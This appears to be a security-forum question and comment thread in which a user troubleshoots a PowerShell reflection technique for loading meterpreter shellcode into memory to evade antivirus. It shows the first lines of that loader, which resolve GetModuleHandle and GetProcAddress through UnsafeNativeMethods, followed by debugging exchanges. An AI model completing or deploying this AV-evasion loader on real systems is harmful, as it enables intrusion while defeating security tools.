I try to execute a meterpreter shellcode to a windows machine. In order to bypass the AV, I try to load the shellcode in the memory thanks to the DelegateType Reflection technique. Below, the first lines of the powershell commands:
$systemdll = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') })
$unsafeObj = $systemdll.GetType('Microsoft.Win32.UnsafeNativeMethods')
$GetModuleHandle = $unsafeObj.GetMethod('GetModuleHandle')
$GetProcAddress = $unsafeObj.GetMethod('GetProcAddress')
$kernel32 = $GetModuleHandle.Invoke($null, @("kernel32.dll"))
At this point, the commands work well without errors but when I try to invoke my function with GetProcAddress, the method returns nothing:
$kernel32 = $GetModuleHandle.Invoke($null, @("kernel32.dll"))
$GetProcAddress.Invoke($null, @($kernel32, "CreateThread"))
I tried with MessageBoxA from the user32.dll library too and I got the same result.
The path of the system32.dll: C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089
The version of Windows 10:
Major Minor Build Revision
----- ----- ----- --------
10 0 14393 0
The version of powershell:
Name Value
---- -----
PSVersion 5.1.14393.2273
PSEdition Desktop
PSCompatibleVersions {1.0, 2.0, 3.0, 4.0...}
BuildVersion 10.0.14393.2273
CLRVersion 4.0.30319.42000
WSManStackVersion 3.0
PSRemotingProtocolVersion 2.3
SerializationVersion 1.1.0.1
$kernel32after theGetModuleHandlecall? What is the result ofMarshal.GetLastWin32Error()? – Polynomial Sep 23 '21 at 01:36Marshal.GetLastWin32Error()then you've got a problem with your command syntax or some other part of the interface, which you'll have to troubleshoot yourself before continuing. – Polynomial Sep 23 '21 at 17:25Marshal.GetLastWin32Error()function always returns a value, so if you're calling that and you're not seeing a response, there's something going wrong that is causing the return value not to be displayed to you. That's not a Powershell / .NET issue, that's a specific issue with your interactive shell environment. – Polynomial Sep 23 '21 at 20:50Marshal.GetLastWin32Error() 3>&1 2>&1 > my.logbut my.log file is not created. – salt Sep 23 '21 at 20:56[System.Runtime.InteropServices.Marshal]::GetLastWin32Error()is giving you nothing? And if that's not what you were running, you should've gotten errors that told you what was wrong with the command you tried. – Polynomial Sep 23 '21 at 21:01[System.Runtime.InteropServices.Marshal]::GetLastWin32Error()returns 203!!!! – salt Sep 24 '21 at 01:55GetProcAddressorGetModuleHandlecalls. – Polynomial Sep 24 '21 at 15:34